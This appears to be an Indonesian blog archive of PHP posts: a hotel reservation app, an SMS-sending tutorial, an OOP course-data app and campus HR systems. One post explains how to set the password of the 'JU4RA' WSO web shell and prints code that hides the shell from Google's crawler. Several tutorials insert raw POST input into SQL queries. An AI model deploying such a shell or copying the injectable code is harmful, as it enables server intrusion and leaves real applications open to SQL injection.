.
Tampilkan postingan dengan label Source code PHP. Tampilkan semua postingan
Tampilkan postingan dengan label Source code PHP. Tampilkan semua postingan

Jumat, 15 November 2013

source code Aplikasi Reservasi Hotel dengan PHP MySQL

Berikut Screenshot nya






Cara pakai :
Buat sebuah database di PhpMyAdmin myhotel
import myhotel.sql

file konfigurasi :
- config.php


$basefolder="hotel"; //folder web

$dbhost="localhost"; //host mysql

$dbuser="root"; //user mysql

$dbpass=""; //password mysql

$dbname="myhotel"; //nama database mysql


$pathfolder = "C:/xampp/htdocs/hotel/uploads/";

//jika menggunakan web offline buat path dimana diinstall

//format : driveinstallWebserver:/folderwebserver/folderwweb/namafolderaplikasi/uploads/

- includes\ckfinder\config.php

ubah $baseUrl , contoh jika menggunakan folder hotelku, maka ubah

menjadi "/hotelku/uploads/" , defaultnya "/hotel/uploads/"

Untuk login :

buka dengan url : login.php

username : admin

password : admin


Jika ada pertanyaan, bisa langsung kasih komentar di bawah artikel ini :)


DOWNLOAD

Kamis, 29 November 2012

Membuat Script PHP untuk Mengirim SMS itu Sangat Mudah


Gammu
Gammu
Kali ini akan membahas tentang membuat aplikasi untuk mengirim SMS menggunakan bahasa pemrograman PHP. Kebanyakan orang akan menggunakan Gammu sebagai SMS Gateway-nya, namun kali ini Saya akan menggunakan sebuah software SMS Gateway yang berbasis visual dimana cara penggunaannya jauh lebih mudah daripada menggunakan Gammu.
Gammu memang SMS Gateway yang sangat handal dan sudah banyak  orang yang menggunakannya, namun ia masih berbasis Command Line (berbasis DOS di Windows atau berbasis Terminal di Linux).
Karena sudah banyak yang menggunakan Gammu untuk SMS Gateway dan banyak pula yang mengalami kesulitan di dalam penggunaannya (khususnya bagi yang masih awam), maka kali ini akan Saya ketengahkan cara mudah membuat aplikasi berbasis SMS Menggunakan Lawoo SMS Gateway.
Lawoo SMS Gateway
Lawoo SMS Gateway
Sedangkan, Lawoo SMS Gateway merupakan software SMS Gateway seperti Gammu yang berfungsi utama sebagai aplikasi yang selalu berkomunikasi dengan modem, dimana SMS yang masuk maupun yang akan dikirim akan ditangani langsung oleh aplikasi SMS Gateway ini.
Lawoo SMS Gateway adalah sebuah software yang bersifat Shareware, Anda dapat mencobanya terlebih dahulu dan selama masa trial, terdapat limitasi penambahan kalimat: “Lawoo Trial Version” di setiap SMS yang terkirim. Jika Anda merasa mantab menggunakan Lawoo SMS Gateway ini, Anda dapat membeli lisensinya hanya senilai Rp. 75.000 per unit. Harga yang sangat murah untuk sebuah aplikasi SMS Gateway yang menawarkan kemudahan di dalam pemakaiannya tanpa harus ribet-ribet mengatur berbagai konfigurasi yang berbasis Command Line (DOS/Terminal).
Baiklah, langsung saja kita praktekkan cara membuat aplikasi berbasis SMS dengan menggunakan PHP dan Lawoo SMS Gateway.
Catatan:
Sebelum memulai membuat aplikasi berbasis SMS dengan PHP ini, sebaiknya Anda mendownload terlebih dahulu Lawoo SMS Gateway kemudian download pula Buku Manualnya di alamat tersebut, kemudian ikuti petunjuk cara instalasi seperti yang tercantum di dalam buku manualnya.
Ok, mari kita mulai membuat script PHP-nya:
1. Saya asumsikan Anda menggunakan XAMPP. Maka buatlah terlebih dahulu sebuah folder baru bernama “smsku” di c:xampphtdocs dengan menggunakan Windows Explorer. Folder smsku ini nantinya akan digunakan untuk tempat menyimpan file-file php yang akan kita buat dalam tutorial ini.
2. Selanjutnya bukalah software text editor Anda, misalnya gunakan Notepad++ , kemudian buatlah sebuah file php baru dan ketiklah beberapa baris kode berikut ini:
<?php

     $server="localhost"; //alamat host
     $user="root";        //nama user mysql anda
     $pass="";            //password mysql anda
     $dbname="lawoo_db";  //nama database yang digunakan oleh Lawoo SMSGateway
     $koneksi=mysql_connect($server,$user,$pass);
     $database=mysql_select_db($dbname);

?>
Selanjutnya simpan file tersebut dengan nama config.php.
3. Buatlah file php baru lagi menggunakan Notepad++, file php ini nantinya berfungsi sebagai form pengiriman SMS. Adapun scriptnya adalah sebagai berikut:
<html>
<head>
<title>Kirim SMS</title>
</head>

 <body>

<p><strong>KIRIM SMS</strong></p>

<form id="form1" name="form1" method="post" action="kirim.php">

  <table width="400" border="1" cellspacing="0" cellpadding="0">

    <tr>

      <td>Modem:</td>

      <td><select name="txtimei" id="txtimei">

      <?php

        include("config.php");

        $sql="SELECT * FROM modem";

        $qry=mysql_query($sql);

        while($kol=mysql_fetch_array($qry))

        {

            echo "<option value='$kol[IMEI]'>$kol[MODEL] - $kol[IMEI]</option>";

        }

      ?></select>

      </td>

    </tr>

    <tr>

      <td width="134">No. Tujuan:</td>

      <td width="260"><input type="text" name="textnotujuan" id="textnotujuan" /></td>

    </tr>

    <tr>

      <td>Isi SMS:</td>

      <td><textarea name="textisisms" id="textisisms" cols="30" rows="5"></textarea></td>

    </tr>

    <tr>

      <td> </td>

      <td> </td>

    </tr>

    <tr>

      <td> </td>

      <td><input type="submit" name="button" id="button" value="Kirim" />

      <input type="reset" name="button2" id="button2" value="Reset" /></td>

    </tr>

  </table>

</form>

</body>

</html>
Simpan script diatas dengan nama form_kirim.php.
4. Selanjutnya, buat sebuah file baru lagi yang berfungsi untuk memproses form di atas. Script lengkapnya sebagai berikut:
 <?php

    include("config.php");

    $notujuan=$_POST["textnotujuan"];

    $isisms=$_POST["textisisms"];

    $tanggal=date("Y-m-d H:i");

    $imei=$_POST["txtimei"];

    $priority='5';

    $sql="INSERT INTO outbox (SENDINGDATETIME, MESSAGES, DESTINATIONNUMBER, PRIORITY, IMEI) VALUES ('$tanggal', '$isisms', '$notujuan', '$priority', '$imei')";

    $query=mysql_query($sql) or die(mysql_error());

    echo "<a href='form_kirim.php'>SMS terkirim. <br/>Kembali</a>";
 
?>
Simpan script diatas dengan nama kirim.php.
Selesai, sekarang saatnya menguji coba script diatas. Caranya:
1. Aktifkan Lawoo SMS Gateway terlebih dahulu (untuk cara penggunaan Lawo SMS Gateway dapat dibaca di buku manual yang disediakan).
Lawoo SMS Gateway
Lawoo SMS Gateway
2. Buka browser favorit Anda, ketik alamat http://localhost/smsku/
3. Isi nomor tujuan dan isi SMS kemudian klik kirim.
4. SMS akan segera terkirim
Selamat mencoba.

Sabtu, 24 November 2012

Source Code SocialEngine


SocialEngine is a PHP-based social network platform that lets you create a social network on your website. Right out of the box, your social network will offer nearly all of the features found on today’s wildly popular social networks. Instead of hosting your social network on our servers, we give you complete control over your project by allowing you to download the source code and install it on your own server.
We don’t want you to create “turnkey” cookie-cutter social networks. We want your new social network to offer something unique. We call SocialEngine a “platform” because it instantly gives you a simple, unbranded network. This lets you get right to deploying your unique theme, social structure, or concept using our source code as a foundation.
What makes SocialEngine different?
SocialEngine is the only self-hosted social network platform that can truly give you the opportunity for explosive, viral growth. Other social network apps create social networks that look and work the same. SocialEngine’s simple design lets you highlight your unique theme. We’ve gone to great lengths to make customizations easier, with detailed comments placed throughout the completely unencrypted source code. SocialEngine also includes advanced social features not found in other apps, like subnetworks, multiple possible friendship structures, and very comprehensive privacy settings.
Features & Capabilities
Like most white-label social networking apps, SocialEngine is feature-rich. Unlike other products, however, SocialEngine is uniquely designed to support almost any social networking concept you might have. This means that you won’t end up with cookie-cutter results. Instead of throwing in as many end-user features as we could, we focused on building a stable, customizable platform upon which you can implement your own unique features and ideas. Of course, we’ve included all of the staples that end-users have come to expect: Blogs, albums, groups, messages, and everything else you see listed below. To avoid bombarding your users with an overkill of information, we’ve kept these as simple as possible and made them easy for you to modify (with fully commented code and HTML templates).

Rabu, 21 November 2012

Penjelasan Shell JU4RA

Sebelumnya saya minta maaf lupa share pengunaan shell pada post Berbagi Source Code Shell JU4RA
shell ini menggunakan akses login pribadi, untuk passwordnya silahkan di edit source ini
<?php
/* WSO 2.1 (Web Shell by oRb) */
$auth_pass = "2dc10f675cf85ae073e2cdd816d5499e";
$color = "#00ff00";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
 header('HTTP/1.0 404 Not Found');
 exit;
}
yang berwarna hijau itu encrypt passwordnya standartnya ju4ra
kalo mau edit silahkan decrypt password anda sendiri, source tipe passwordnya
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
 if( empty( $auth_pass ) ||
  ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
  $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
else 

untuk loginnya tersembunyi, bisa dicek digambar dibawah ini


monggo dinikmati

Selasa, 20 November 2012

Aplikasi PHP dengan Konsep OOP

input
Berlanjut dari tutorial yang dahulu tentang pengenalan OOP pada PHP, kali ini saya akan mencoba membuat sebuah aplikasi penyimpanan dengan dengan menerapkan konsep OOP di PHP.
* disini saya asumsikan bahwa anda sudah bisa membuat sebuah database dan membuat tabel di mysql

  • saya mempunyai sebuah database dengan nama VB, dalam database tersebut terdapat tabel dengan nama matakuliah, berikut field tabel matakuliah
  • setelah membuat tabel nya, langkah selanjutnya buka text editor anda ( notepad, notepad++, dll ), kita akan membuat 4 buah file koneksi.php, simpan_database.php, index.php dan form_data.php
  • file koneksi.php
<?php
mysql_connect(“localhost”,”root”,””); // sesuaikan dengan web server anda
mysql_select_db(“vb”);
?>
  • form_data.php
<?php
class form_data{
function tambah_daftar()
{
?>
<form action=”index.php?menu=simpan_data” method=”post”>
<table>
<thead>
<tr>
<td colspan=”2″ align=”center”>Input Data Mata Kuliah</td>
</tr>
</thead>
<tbody>
<tr>
<td>Kode Mata Kuliah</td>
<td><input type=”text” name=”kode”</td>
</tr>
<tr>
<td>Nama Mata Kuliah</td>
<td><input type=”text” name=”nama”</td>
</tr>
<tr>
<td>Jumlah SKS</td>
<td><input type=”text” name=”sks”</td>
</tr>
<tr>
<td>Semester</td>
<td><input type=”text” name=”semester”</td>
</tr>
<tfoot>
<tr>
<td></td>
<td><input type=”submit” value=”Simpan”</td>
</tr>
</tfoot>
</tbody>
</table>
</form>
<?php
}
function tampil_data()
{
?>
<table width=”40%”>
<thead>
<tr align=”center”>
<td>Kode MK</td>
<td>Nama MK</td>
<td>SKS</td>
<td>Semester</td>
</tr>
</thead>
<tbody>
<?php
$s=mysql_query(“select * from matakuliah order by kode_mk asc”);
while($r=mysql_fetch_array($s))
{
echo “<tr>”;
echo “<td>”.$r['kode_mk'].”</td>”;
echo “<td>”.$r['nama_mk'].”</td>”;
echo “<td>”.$r['sks'].”</td>”;
echo “<td>”.$r['semester'].”</td>”;
echo “</tr>”;
}
?>
</tbody>
</table>
<?php
}
}
?>
  • simpan_database.php
<?php
$kode=$_POST['kode'];
$nama=$_POST['nama'];
$sks=$_POST['sks'];
$semester=$_POST['semester'];
class simpan{
function simpan_data($kode,$nama,$sks,$semester){
//memvalidasi apakah data tersebut sudah ada atau belum
$validasi=mysql_query(“select kode_mk from matakuliah where kode_mk=’$kode’”);
if(mysql_num_rows($validasi)>0){
echo “<script>alert(‘Kode Mata kuliah sudah ada’); location.href=’index.php’;</script>\n”;
exit(0);
}
//validasi inputan supaya data yang dimasukkan tidak kosong
if(((!$kode)||(!$nama)||(!$sks)||(!$semester))){
echo “<script>alert(‘Data Tidak Boleh Kosong’); location.href=’index.php’;</script>\n”;
}
else{
echo “<script>alert(‘kode Mk = $kode | Nama Makul = $nama Sudah Tersimpan’);</script>\n”;
$hasil=mysql_query(“insert into matakuliah (kode_mk,nama_mk,sks,semester)
values(‘$kode’,’$nama’,’$sks’,’$semester’)”);
echo “<script>location.href=’index.php’;</script>\n”;
}
}
}
?>
  • index.php
<!DOCTYPE HTML>
<html>
<head>
<title>Tabel Data Akademik</title>
<link rel=”stylesheet” href=”style.css”>
<link rel=”stylesheet” href=”style2.css”>
</head>
<body>
<?php
ini_set(‘display_errors’,0);
include “form_data.php”;
$form_data=new form_data(); //kelas yang ada pada file form_data.php
include “simpan_database.php”;
$simpan=new Simpan(); //kelas yang ada pada file simpan_database.php
include “koneksi.php”;
$menu=$_GET['menu'];
switch ($menu)
{
case “simpan_data”:
$simpan->simpan_data($kode,$nama,$sks,$semester);
break;
default:
$form_data->tambah_daftar();
echo “<hr>”;
$form_data->tampil_data();
}
?>
</body>
</html>
untuk mempercantik tampilan disini saya sedikit menambahkan css kedalam tabel tersebut, hasilnya seperti berikut
* download source code disini

PHP Source Code - Sistem Informasi Kampus





Smart SisfoKampus adalah Sistem Informasi Manajemen Kampus Indonesia. Tercermin bahwa Smart SisfoKampus ditujukan untuk mengelola Sistem Informasi Kampus, dalam hal ini adalah Perguruan Tinggi di Indonesia.

Modul Smart SisfoKampus

Modul di dalam Smart SisfoKampus dirancang mengikuti bisnis proses yang ada di dalam manajemen perguruan tinggi di Indonesia. Setiap modul mencerminkan fungsionalitas dan proses sesuai dengan has akses dari setiap user. Deskripsi detil dari masing-masing modul adalah sebagai berikut:
  1. Modul Administrasi Sistem
  2. Modul Administrasi Master
  3. Modul Kepala Admisi (Penerimaan Mahasiswa Baru)
  4. Modul Admisi (Penerimaan Mahasiswa Baru)
  5. Modul Kepala Administrasi Akademik (Ka.BAA)
  6. Modul Administrasi Akademik
  7. Modul Rektorat
  8. Modul Keuangan
  9. Modul Jurusan
  10. Modul Dosen
  11. Modul Mahasiswa
  12. Modul SMS Gateway
  13. Modul Utiliti (DIKTI)
Smart SisfoKampus memiliki lisensi GNU/GPL (General Public License). Dengan demikian Smart SisfoKampus dapat dipergunakan dan dimanfaatkan sepenuhnya sesuai dengan azas GNU/GPL. Jangan lupa bahwa Smart SisfoKampus adalah Open Source, maka sourcenya dapat di download bebas.
Download Source Code here
Mirror
versi 3.5 8MB
versi 2005 582KB
versi 3.5 tar.gz 2MB 
File Size : 7,847 KB
File pendukung :

PHP Source Code - Sistem Informasi Kepegawaian

Sistem Informasi Kepegawaian berbasis platform PHP dengan database My SQL

Pada aplikasi ini karyawan dapat mengajukan permohonan cuti dan mendapatkan persetujuan cuti dari atasan secara online. Atasan dapat melihat daftar riwayat cuti karyawan.

Download source code

Program pendukung
1. PHP Triad
2. My SQL
3. PHP Editor